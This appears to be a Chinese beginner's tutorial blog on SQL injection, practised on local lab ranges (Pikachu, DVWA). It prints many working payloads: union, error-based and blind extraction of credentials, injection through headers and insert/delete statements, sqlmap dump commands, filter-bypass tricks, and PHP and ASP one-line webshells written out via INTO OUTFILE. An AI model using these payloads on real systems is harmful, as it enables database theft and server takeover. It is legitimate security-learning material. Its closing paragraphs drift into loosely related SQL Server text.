学习视频链接:
web渗透技术零基础入门
ctf入门视频教程
因为本人也是初学者,这里只对SQL注入做一些简单的介绍
截至2021年,在OWASP发布的top10漏洞里面,注入漏洞危害一直是排名第一,其中主要指SQL Injection 漏洞
OWASP TOP10
数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞。
示例:
以下是一段php代码,用于验证用户身份信息
// PHP
$sql="select id from Table_login where _username='$username'
and _password='$password'";
假设数据库中存放有数据:
_username=feng,_password=1
正常输入密码:1
通过拼接输入的密码:’ or ‘1’='1
此时后端拼接的语句为:
_password=’ ’ or ‘1’='1 ‘";
Sql注入的本质是用户输入的数据被当作代码执行,其中包括两个关键条件:
1.用户能够控制输入
2.原本程序要执行的代码,拼接了用户输入的数据
- 自动方式:使用Web漏洞扫描工具,自动进行注入点发现
- 手动方式:手工构造sql inject测试语句进行注入点发现
- 通过注入点期望取期望得到的数据
1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
2.数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)
- 获取系统操作权限:通过数据库执行shell,上传木马
user_id=$id
user_id='$id'
text LIKE '%{_GET['search']}%' ";
这里使用Pikachu漏洞靶场进行演示(具体安装请见网上教程)
选择数字型注入
没有在url里传参,说明使用POST方法,查看源码,发现共有6个可选字段
我们猜测,后端的查询代码可能是这样的
$id =$ _POST['id'];
……
" select 字段1,字段2 from 表名 where id=$id ";
查看数据库
use pikachu;
Database changed
查看源代码
选择字符型注入
原理都差不多,这里介绍几个注释符号
选择搜索型注入
猜测后端可能存在的代码
$name=$_POST['username'];
" select id,email from member where username like '%$name%' ";
所以,我们可以百度一下mysql like模糊查询的相关指令
在实际渗透测试过程中不可能得到目标网站的源码,这个时候就需要根据经验和多测试。比如发现一个输入框,就首先进行单双引号测试
aaa” or 1=1# 或者 aaa) or 1=1# 等。
而实际上,我们需要通过输入数据判断输入的数据是否参与后台数据库的代码拼接与逻辑运算
Union 联合查询:可以通过联合查询来查询指定的数据
用法举例:
select username,password from user where id=1
union select 字段1,字段2 from 表名
注意:联合查询的字段需要和主查询一致,即前面查询几个字段,后面也应该查询相同数量的字段
' union select version(),user()#
//示例代码
select id,username from member
union select (select group_concat(table_name)
from information_schema.tables
where table_schema='dvwa'),version();
group_concat:将产生的同一个分组中的值连接起来,返回一个字符串结果。
//通过联合查询,查询当前使用的数据库和’dvwa‘中的所有表以及用户
select group_concat(table_name),user() from
information_schema.tables where table_schema=database()
union select group_concat(table_name),user() from
information_schema.tables where table_schema='dvwa';
下面我们完整来做一次Sql注入的演示。靶场:Pikachu漏洞练习平台
现在我们假设不知道网站源码,但已经知道注入点
以字符型注入为例,首先我们需要知道数据库到底查询了几个字段
1' union select 1,2,3#
1' union select 1,2#
一般情况下,我们使用order by的方法查询字段,例如
利用排序对输出进行排序:
如果只查询了两个字段,则无法’order by 3’,因为不存在第三列,所以无法进行排序;
如果查询了三个字段,此时’order by 3’,因为存在第三列,所以可以按照第三列的字段进行排序,然后输出。
在知道查询的字段数后,我们查询数据库名,也可以查询user名
//查询当前正在使用的数据库及使用该数据库的用户
1' union select database(),user()#
//查询所有的数据库及版本
1' union select (select group_concat(schema_name)
from information_schema.schemata),version()#
下一步,在知道了数据库名之后,
我们查询pikachu里面所有的表
1' union select (select group_concat(table_name) from
information_schema.tables
where table_schema=database()
/*或者'pikachu'*/),2#
再往下,我们查询users表中的所有列
\\查询所有列
1' union select 1,column_name from
information_schema.columns where
table_name='users' and table_schema=database()#
知道所有列之后,我们就可以通过一些语句查询自己想要知道的信息
例如
//查询id,username
1' union select id,username from users#
//依次查询id,username,password,level
1' union select concat_ws(',',id,username),
concat_ws(',',password,level)
from users group by username#
concat_ws:将每个参数值和第一个参数separator指定的分隔符依次连接到一起组成新的字符串,长度和类型取决于输入值。
技巧思路:在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取相关信息
背景条件:后台没有屏蔽数据库报错信息,在语法错误时会输出到前端
Updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值。
语法:UPDATEXML(xml_document,XPathstring,new_value)
第一个参数:filename是String格式,为表中的字段名。
第二个参数:XPathstring(Xpath格式的字符串)。
第三个参数:new_value,String格式,替换查找到的符合条件的
Xpath定位必须是有效的,否则就会发生错误
XPath 使用路径表达式在 XML 文档中选取节点。节点是通过沿着路径或者 step 来选取的。
当我们输入错误的语法时,数据库会报错
//updatexml查询版本
1' or updatexml(1,version(),0)#
//有的时候报错信息会设置长度限制,添加标识符可以避免显示不完全
//updatexml改进
1' or updatexml(1,concat(0x7e,version()),0)#
//0x7e是字符~的ascii码的十六进制表示,这里也可以用0x23
//updatexml查询database()
1' or updatexml(1,concat(0x7e,database()),0)#
剩下的操作就是修改payload中的数据,修改为我们想要执行的命令,例如
//updatexml查询table_name
1' or updatexml(1,concat(0x7e,
(select group_concat(table_name) from
information_schema.tables
where table_schema=database())),0)#
//updatexml查询column_name
1' or updatexml(1,concat(0x7e,
(select group_concat(column_name) from
information_schema.columns
where table_name='users'
and table_schema=database())),0)#
其他操作和类似
extractvalue() :对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
//利用extractvalue()函数报错进行信息获取
1' or extractvalue(1,concat(0x7e,version()))#
1' or extractvalue(1,concat(0x7e,
(select group_concat(column_name)
from information_schema.columns where table_name='users'
and table_schema=database()),0x7e))#
1' or extractvalue(1,concat(0x23,
(select count(id) from users) ,0x23))#
在查询字段时,可能会出现这种情况
原因是返回了多行数据,而子查询的结果只能有一行
可以使用limit方法
1' or extractvalue(1,concat(0x23,
(select concat_ws('-',id,username,password,level)
from users limit 0,1) ,0x23))#
1' or extractvalue(1,concat(0x23,
(select concat_ws('-',id,username,password,level)
from users limit 1,1) ,0x23))#
1' or extractvalue(1,concat(0x23,
(select concat_ws('-',id,username,password,level)
from users limit 2,1) ,0x23))#
首先我们来看这么一段与floor函数有关的代码
基于随机数进行分组
为了确定floor()函数生成的随机数,我们进行测试
所以为何会报错呢?
使用select s_id,count(*) from fruits group by s_id;
这样的语句时,mysql会建立一个虚拟表
其中,key是主键,不能重复
那么,如果key值重复了呢?(会报错,主键冗余)
group by 进行分组时,floor(rand(0)*2)执行一次(查看分组是否存在),如果虚拟表中不存在该分组,那么在插入新分组的时候 floor(rand(0)*2) 就又计算了一次。(其实在上述 rand(0) 产生多个数据的时候,也能观察出来。只要 rand(0) 被调用,一定会产生新值)。
所以,当 group by 对其进行分组的时候,首先遇到第一个值 0 ,发现 0 不存在,于是需要插入分组,就在这时,floor(rand(0)*2)再次被触发,生成第二个值 1 ,因此最终插入虚拟表的也就是第二个值 1 ;然后遇到第三个值 1 ,因为已经存在分组 1 了,就直接计数加1(这时1的计数变为2);遇到第四个值 0 的时候,发现 0 不存在,于是又需要插入新分组,然后floor(rand(0)*2)又被触发,生成第五个值 1 ,因此这时还是往虚拟表里插入分组 1 ,但是,分组 1 已经存在了!所以报错!
参考链接
根据这个,我们开始sql注入
//需要注意的是,group by函数需要配合聚合函数使用
1' or (select 1 from
(select count(*),
concat_ws(',',version(),database(),user(),floor(rand(0)*2))x
from information_schema.tables group by x)a)#
//查找当前数据库有多少张表
1' or (select 1
from (select count(*),
concat_ws(',',(select count(*)tables
from information_schema.tables
where table_schema=database()),
floor(rand(0)*2))x
from information_schema.tables group by x)a)#
//查询第二张表的name
1' or (select 2 from (select count(*),
concat_ws(',',(select concat_ws(',',table_name)
from information_schema.tables
where table_schema=database() limit 1,1),floor(rand(0)*2))x
from information_schema.tables group by x )a)#
但是不能使用group_concat函数
子查询多于一列
不能使用group_concat的原因我猜测可能和group_concat的特性有关。
concat和concat_ws将多个字符串连接成一个字符串,
得到的结果显示在一行
而group_concat则将数据进行分组,有多行结果
具体情况还需要具体分析,像这些报错函数有时适用于特定的场合,比如select不能使用的情况下。
我们还需要多加练习才能提升对这些报错函数的理解
//insert命令
insert into member(username,pw,sex,phonenum,address)
values('xxx',111,'boy',123,'[email protected]');
select * from member;
以上是正常输入
我们尝试在第一个引号后面构造闭合
values('xxx',111,'boy',123,'[email protected]');
' or updatexml(0,concat(0x7e,database(),0x7e),1) or '
后台处理用户提交的数据时,拼接的数据是这样的:
values(' ' or updatexml(0,concat(0x7e,database(),0x7e),1)
or ' '……)
由于报错,数据实际上并不会插入数据库中去
剩余的操作和其他的注入方法一样,在此就不加以赘述了
insert与update操作类似
//update命令
UPDATE SET member sex='123' where id=32;
复制上面的代码:
' or updatexml(0,concat(0x7e,database(),0x7e),1) or '
进入delete注入界面
随便输入些东西,然后删除,再使用burpsite抓包
删除aaa
抓包
我们看到字段id=58,所以可以猜测,后台可能是根据id进行删除的。
进行sql注入
1 or updatexml(0,concat(0x7e,database(),0x7e),1)
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致http header的SQL Inject漏洞。
进入"http header"注入界面并登录
使用burpsite抓包
//代码
' or extractvalue(1,concat(0x7e,
(select count(*)tables
from information_schema.tables
where table_schema=database()),0x7e)) or '
//注意,修改payload值的时候不能换行
//sql注入
' or extractvalue(1,concat(0x7e,
(select count(*)tables from
information_schema.tables
where table_schema=database()),0x7e)) #
//注意,修改payload值的时候不能换行
在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错,此时无法根据报错信息来进行注入的判断。也就是不回显
这种情况下的注入,称为盲注
根据表现形式的不同,又分为based boollean和based time两种类型
基于布尔的盲注主要表现为
0:没有报错信息
1:不管是正确的输入还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
2:在正确的输入下,输入 and1=1/and 1=2发现可以判断
利用靶场进行测试
使用mysql进行测试,这里使用substr方法来判断数据库名
进行ascii码转换
可以用比较大小的方法判断
还可以使用length函数确认长度
//通过以上逻辑,我们进行sql注入
//表示的意思为 0 or ret
//若后面返回的值为1,则整个表达式为0 or 1,为真
//反之,后面语句判断为False,返回0,则整个表达式为0 or 0,为假
' or (length(database())=7)#
不过似乎有些问题
代码应该没问题,查看源码。但是还是不清楚是怎么回事。
可以使用and运算符,但使用or运算符貌似就不行,即便前面的语句为真
lucy' and length(database())=7#
lucy' and length(database())=6#
lucy' or length(database())=7#
尝试换一个靶场
' or (length(database())=7)#
' or (length(database())=4)#
核心思想:
If (payload,sleep(3),1)
即payload正确,程序暂停三秒,否则立即执行
If (payload,sleep(1),3)
即payload正确,程序立即执行,否则暂停三秒
1' or if (1=1,sleep(3),null)#
1' or if (1=2,sleep(3),null)#
利用这个,构造payload
1' or if (length(database())=7,sleep(3),null)#
1' or if (substr(database(),1,1)='p',sleep(3),null)#
可以理解为只需要一句代码就可以实现任意命令执行的木马。
例如
PHP:
ASP: <%eval request('payload')%>
ASP.NET: <%@ Page Language="Jscript"%>
<%eval(Request.Item['payload'],'unsafe');%>
这里我们先介绍一下导入文件和导出文件的相关知识
部分图片来源:中国大学mooc课程《信息系统安全与对抗实践》第四单元sql注入漏洞(四)
链接
这是已经修改好的
//如果count(*)>0,则说明具有读权限
' union select (select count(*)
from mysql.user)>0,user()#
//代码
1' union select load_file("D:/aa.txt"),2#
在pikachu数据库里创建一张表text1,用于存放数据
create table text1(
txt_content MEDIUMTEXT
);
//添加列
alter table text1 add column
column_description mediumtext
after txt_content;
假设我们现在已经通过sql注入知道了pikachu这么一个数据库中有个表叫做text1,里面有两列,列名分别叫做text_content,column_description,并且编码为utf8
//导入文件,路径为"D:/aa.txt"
load data infile "D:/aa.txt"
into table text1
character set utf8
fields terminated by '\t'
lines terminated by '\n'
(txt_content,column_description);
select load_file(‘file_name’) into outfile ‘web_root_path/1.txt’
//写入一句话木马
select ‘’
into outfile ‘web_root_path/webshell.php’;
示例:
//写入一句话木马
' union select
"",2
into outfile
"D:/phpstudy_pro/WWW/feng/1.php"#
Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in D:\phpstudy_pro\WWW\feng\pika\vul\sqli\sqli_str.php on line 30
已写入
information_schema 数据库跟 performance_schema ⼀样,都是 MySQL ⾃带的信息数据库。其中 performance_schema ⽤于性能分析,⽽ information_schema ⽤于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
那么如果我们要注入的数据库没有这个信息数据库呢?
大多数情况下,我们可能需要暴力破解
原理:
//借用逻辑或运算,后面为真,则返回1
//从字典文件中读取文件,利用burpsite进行暴力破解
' or exists(select * from dictionary_file)#
//前端输入相关语句,并用burpsite抓包
' or exists(select * from dictionary_file)#
send to Intruder
先clear所有标记。然后标记要标记的字符。
添加payload
可以手动输入也可以添加字典,这里我们手动输入一些值
查看长度最长的那个数据包
正确,说明存在users这个表。
知道表以后我们可以进行类似的操作,例如查找列,查找列中的字段等。在这就不演示了
实际操作中,手工测试不太方便,所以我们往往会选用一些自动化的工具去进行测试。这里以SQLMAP为例
官方说明:
翻译过来就是,sqlmap是自动化的sql注入及数据库接管工具
sqlmap下载地址
使用:直接在sqlmap目录下运行sqlmap.py就可以了
使用的python版本为python2
(注意,目前sqlmap没有python3的版本)
python sqlmap.py -u
"http://127.0.0.1/pika/vul/sqli/sqli_blind_b.php?name=1
&submit=%E6%9F%A5%E8%AF%A2"
name is vulnerable,意思就是name这个参数是可以注入的
回复N,暂时不去测试其他的注入点。这里我们可以看到它是如何进行注入点探测的。
建立连接之后,我们就可以进行sql注入了
//查看所有的数据库
python sqlmap.py -u
"http://127.0.0.1/pika/vul/sqli/sqli_blind_b.php
?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbs
//查看pikachu数据库中所有表
python sqlmap.py -u
"http://127.0.0.1/pika/vul/sqli/sqli_blind_b.php
?name=1&submit=%E6%9F%A5%E8%AF%A2"
-D pikachu --tables
//查看pikachu数据库中users表中所有列
python sqlmap.py -u
"http://127.0.0.1/pika/vul/sqli/sqli_blind_b.php
?name=1&submit=%E6%9F%A5%E8%AF%A2"
-D pikachu -T users --columns
//查看字段信息
python sqlmap.py -u
"http://127.0.0.1/pika/vul/sqli/sqli_blind_b.php
?name=1&submit=%E6%9F%A5%E8%AF%A2"
-D pikachu -T users -C username,password -dump
更多sqlmap的使用请自行查找相关资料
1、攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人 信息,造成用户的信息泄露。
2、通过操作数据库对某些网页进行篡改;
3、修改数据库一些字段的值,嵌入网马链接,进行挂马攻击;攻击者进而可以对网页进行篡改,发布一些违法信息等。
4、服务器被远程控制,被安装后门。可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
5、数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
6、破坏硬盘数据,导致全系统瘫痪;
1' and updatexml(1,concat(0x23,database(),0x23),1) --
1' and extractvalue(1,concat(0x7e,user()))#
//查找当前数据库有多少张表
1' or (select 1
from (select count(*),
concat_ws(',',(select count(*)tables
from information_schema.tables
where table_schema=database()),
floor(rand(0)*2))x
from information_schema.tables group by x)a)#
1.大小写混合
原因:服务器端检测未开启大小写不敏感
例如:UniOn SeleCt
2.多重关键字
服务器检测到敏感字符时,将其替换为空
绕过:ununionion seselectlect
3.编码
原因:服务端未检测或检测不严具有编码形式的关键字
类型:十六进制编码、URL编码、Unicode编码
形式:0x61646d696e、%20、%u0020
4.注释
原因:服务端未检测或检测不严注释内的字符串
形式:/**/ ,/!/,/!12345/,#,-- 等。
5.等价函数或命令
原因:服务器端黑名单不完整,过滤不严
形式:
mysql 查询:Union distinct,updatexml,extractvalue,floor
字符串截取函数:mid,substr,substring,left,reverse
字符串连接函数:concat,group_concat,concat_ws
字符串转换:char,hex,unhex
替换逗号:select * from users limit 1 offset 0,select mid(version() from 1 for 10)
替换等号:like
6.特殊符号
7.组合绕过
SQL Server 是 Microsoft 开发的一个关系数据库管理系统(RDBMS),现在是世界上最为常用的数据库;
SQL Server 被设计为在中央服务器上运行(或服务器),使多个使用者可以同时访问相同的数据;用户通常通过应用程序访问数据库。
关系数据库管理系统(Relational Database Management System:RDBMS)是指包括相互联系的逻辑组织和存取这些数据的一套程序 (数据库管理系统软件)。关系数据库管理系统就是管理关系数据库,并将数据逻辑组织的系统。
关系数据库:在一个给定的应用领域中,所有实体及实体之间联系的集合构成一个关系数据库。
例如,一个网页可以存储在数据库中的所有内容。当访问者浏览的文章,他们从数据库中检索数据。一个网站服务的对象达到了数百,甚至数千的访客。同时,还得满足其他用户可以更新他们的个人资料,会员区,还能订阅新闻简报或其他任何网站的用户操作。所以有很多用户都是同时读取和更新数据库的,那么一个良好的,强大的数据库系统满足这种类型的用法。毕竟,你不希望你的数据库锁定,因为太多用户试图访问它,或者更糟的是,你不会希望在你的数据库,由于电线损坏而致数据获取不到。
通常,这是是由网站的应用程序提供的功能,以这些访问者(例如,可以使用如,ColdFusion,HTML和JavaScript来构建网站)。它使用数据库存储数据,并使其可用。但是,SQL Server不包括一些有用的功能,可帮助应用程序提供的功能。